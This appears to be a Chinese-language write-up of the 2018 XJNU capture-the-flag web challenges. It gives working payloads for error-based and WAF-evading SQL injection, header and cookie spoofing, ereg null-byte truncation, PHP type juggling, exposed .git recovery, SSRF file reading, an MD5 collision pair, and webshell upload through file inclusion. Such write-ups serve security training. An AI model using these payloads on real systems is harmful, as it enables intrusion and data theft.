2018 XJNU CTF Web Writeup

2018 XJNU CTF Web Writeup

比较简单的新疆师范大学的 CTF 比赛 http://ctf.xjnu.edu.cn/

Web10

整个网站疯狂暗示使用 sqlmap,然后网站源代码中有这样一段

<!-- id=1 -->

然后在链接中加上 ?id=1 进行测试,出现了不同的返回。

初步判断 SQL 语句为:

select xxx from xxx where id=1

然后没有做任何的过滤,并且报错直接显示出来,因此使用报错注入。

http://ctf.xjnu.edu.cn:9900/web10/?id=1%20and%20extractvalue(1,concat(0x7e,(select%20flag%20from%20flag),0x7e))

XPATH syntax error: '~flag{Test_y0u_sql_Inject!}~'

Web20

直接访问题目地址

> http http://ctf.xjnu.edu.cn:9900/web20/
HTTP/1.1 200 OK
Connection: Keep-Alive
Content-Length: 21
Content-Type: text/html; charset=UTF-8
Date: Thu, 20 Sep 2018 15:39:57 GMT
Keep-Alive: timeout=5, max=100
Server: Apache/2.4.7 (Ubuntu)
Set-Cookie: login=0
X-Powered-By: PHP/5.5.9-1ubuntu4.21

你不属于这里!

然后目测是 XFF 判断本地

> http http://ctf.xjnu.edu.cn:9900/web20/ X-Forwarded-For:127.0.0.1
HTTP/1.1 200 OK
Connection: Keep-Alive
Content-Length: 24
Content-Type: text/html; charset=UTF-8
Date: Thu, 20 Sep 2018 15:44:55 GMT
Keep-Alive: timeout=5, max=100
Server: Apache/2.4.7 (Ubuntu)
Set-Cookie: login=0
X-Powered-By: PHP/5.5.9-1ubuntu4.21

你还没有登录呢?

然后看到服务器给我们 Set 了一个 Cookie,修改为 1

> http http://ctf.xjnu.edu.cn:9900/web20/ X-Forwarded-For:127.0.0.1 Cookie:login=1
HTTP/1.1 200 OK
Connection: Keep-Alive
Content-Length: 31
Content-Type: text/html; charset=UTF-8
Date: Thu, 20 Sep 2018 15:46:00 GMT
Keep-Alive: timeout=5, max=100
Server: Apache/2.4.7 (Ubuntu)
Set-Cookie: login=0
X-Powered-By: PHP/5.5.9-1ubuntu4.21

很可惜你不是iPhone OS 999

然后去网上找了个 iPhone 的 User-Agent,并且改成了 iPhone OS 999

> http http://ctf.xjnu.edu.cn:9900/web20/ X-Forwarded-For:127.0.0.1 Cookie:login=1 User-Agent:"Mozilla/5.0 (iPhone; CPU iPhone OS 999 like Mac OS X) AppleWebKit/604.1.34 Safari/604.1"
HTTP/1.1 200 OK
Connection: Keep-Alive
Content-Length: 28
Content-Type: text/html; charset=UTF-8
Date: Thu, 20 Sep 2018 15:50:17 GMT
Keep-Alive: timeout=5, max=100
Server: Apache/2.4.7 (Ubuntu)
Set-Cookie: login=0
X-Powered-By: PHP/5.5.9-1ubuntu4.21
flag: flag{h77p_He4dEr_50_E4sy}

<!-- flag not in html... -->

Web30

提示:小明 shell 下的编辑器用的比较 6

因此判断应该存在 shell 下运行编辑器时意外退出所留下的备份文件,扫描后发现了这个地址

http://ctf.xjnu.edu.cn:9900/web30/.index.php.swo

<?php
$get = $_GET['ctf'];
if ($get == '!#?&@') {
    echo '<p> class="alert">Go on!</p>';
} else {
    exit();
}
if (isset($_GET['password'])) {
    if (ereg("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE) echo '<p class="alert">You password is error,must be test others</p>';
    else if (strpos($_GET['password'], '--') !== FALSE){
        $a = @$_GET['xjnu'];
        $v1 = 0;
        if (is_array($a)) {
            is_numeric(@$a["bar1"]) ? die("No way!") : NULL;
            if (@$a["bar1"]) {
                ($a["bar1"] > 2016) ? $v1 = 1 : NULL;
            }
            if (is_array(@$a["bar2"])) {
                if (count($a["bar2"]) !== 3 or !is_array($a["bar2"][0])) die("No way!");
                foreach ($a["bar2"] as $key => $val) {
                    if (preg_match('/2018/', $val)) {
                        die('No way!');
                    }
                    if ($val == 2018) {
                        die($flag);
                    }
                }
            }
        }
    }
    else echo '<p class="alert">Invalid password</p>';
}

首先要满足的条件是 get 中的 ctf 参数为 !#?&@ ,而默认情况下 # 以及其后面的东西不会被当成参数传递给服务器,所以我直接用 python 写参数了

>>> requests.get('http://ctf.xjnu.edu.cn:9900/web30/',params={'ctf':'!#?&@'}).text
'<p class="alert">Go on!</p>'

ereg 方法存在 %00 截断漏洞,因此可以将 password 分为两部分,前面一部分是符合正则条件的字符,后面再加上 -- 满足第二个要求

>>> requests.get('http://ctf.xjnu.edu.cn:9900/web30/',params={'ctf':'!#?&@','password':'0'+chr(0)+'--'}).text
'<p class="alert">Go on!</p>'

然后参数 xjnu 需要是一个数组,数组中的 bar1 不能是数字但是他要大于 2016,这里我们将 bar1 设置为2017a,根据 PHP 特色,'2017a'>2016

>>> requests.get('http://ctf.xjnu.edu.cn:9900/web30/',params={'ctf':'!#?&@','password':'0'+chr(0)+'--','xjnu[bar1]':'2017a'}).text
'<p class="alert">Go on!</p>'

然后 bar2 需要是一个数组,并且他的第一个元素也是一个数组,并且他有三个元素。此外 bar2 中还需要有一个元素等于 2018,但是其元素本身不允许存在字符 2018,因此这里用十六进制来表示

>>> requests.get('http://ctf.xjnu.edu.cn:9900/web30/',params={'ctf':'!#?&@','password':'0'+chr(0)+'--','xjnu[bar1]':'2017a','xjnu[bar2][0][]':'0','xjnu[bar2][1]':'1','xjnu[bar2][2]':'0x7E2'}).text
'<p class="alert">Go on!</p>flag{Php_iS_Mag1c!}'

Web40

题目没有给太多的提示,简单扫描之后发现了 .git 文件夹,通过 GitHack 找到了两个文件

> cat flag_2333_666.php
<?php
//$flag="{.git_H0w_Many_Y0u_kn0w!}"

> cat index.php
<?php
echo "flag is here";

将 flag 拼凑成固定的格式即得:flag{.git_H0w_Many_Y0u_kn0w!}

Web50

题目是一个登录界面,源代码中有提示,注入方向应该是密码列:

<!-- password  columns-->

用户名存在但密码错误会返回 pass error

用户名不存在会返回 no such user

预计其使用了类似的 SQL 语句

select * from xxx where username='admin'

存在 WAF,过滤了如下:

构建注入代码

a'/**/or/**/'1'='1

返回了 pass error,说明存在注入

进一步构造,使用 left 函数逐位检查密码,丢入 Burpsuite 进行批量检查,例如

a'/**/or/**/left(password,1)='5

最终得到 32 位的密码,登录即可得 Flag

5781865f070113b76a9f40d48944d52b

flag{Waf_is_N0t_Exits!}

Web60

Hint: whois 找不到信息,也可以使用 ip 地址进行 whois 的吧

打开题目,源代码中有这样一段

<!-- [Redacted]!网址www.nk-[Redacted].com:2018) -->

然后看了看当前页面端口是 2017,直接改成 2018 就打开了另外一个页面

既然你费了这么大的劲来到了这里,我就直接告诉你,我们已经掌握了你们学校主站点的申请人的邮箱地址,需要你再次确认此邮箱是否正确,方能加入我们!

让我们输入一个邮箱,结合提示,whois 218.195.132.22

输入 redrose@xj.cninfo.net 即可以进行下一步

有一个 geturl 的按钮,有一个输入网址的地方,目测是一个 SSRF

输入了 aaaa://index.php 提交,然后奇迹发生了

if (preg_match('/index.php|flag_ssRf.php|etc/', $link)) {
    # code...
    echo file_get_contents(substr($link, 7));
}

大概的设计是输入 http:// 开头的使用 curl 请求,包含了 index.php 这三个文件的直接读物文件内容并输出,因此顺利拿到 flag

Web80

一打开题目就提示 Git Revenge Come on 了,直接使用 GitHack,然后只能下载到 index.php,然而并没有什么用,所以直接将整个 .git 文件夹下了下来

commit bcf528e51e475cf22e864b7cbb7f1770124cc006 (HEAD -> master)
Author: Huseck <504038236@qq.com>
Date:   Wed Sep 19 20:02:51 2018 +0800

    remove something

commit bbb02a35384a81b4c003ce3e4ae03246b3638de0
Author: Huseck <504038236@qq.com>
Date:   Wed Sep 19 20:01:59 2018 +0800

    xjseck

发现有两个 commit,切换到第一个就能看到有三个文件了

flagRevenge2333333.php

<?php
include 'flag.php';
if((string)$_POST['param1']!==(string)$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2'])){
                    die($flag);
                }
highlight_file(__FILE__);

和上面那题使用的 GitHack 一样,考查 PHP 的特性,我们需要提交两个名字不一样但是 MD5 一样的玩意,通常我直接使用下面这个文件,使用 hexedit 直接写入成文件就好了,然后提交过去就能得到 flag

文件 1:

4dc968ff0ee35c209572d4777b721587
d36fa7b21bdc56b74a3dc0783e7b9518
afbfa200a8284bf36e8e4b55b35f4275
93d849676da0d1555d8360fb5f07fea2

文件 2:

4dc968ff0ee35c209572d4777b721587
d36fa7b21bdc56b74a3dc0783e7b9518
afbfa202a8284bf36e8e4b55b35f4275
93d849676da0d1d55d8360fb5f07fea2

Web100

打开题目跳转到 http://ctf.xjnu.edu.cn:666/index.php?file=upload.php

目测就存在文件包含漏洞。

没什么难度,生成一个文件名为 .png 的一句话,上传,包含,搞定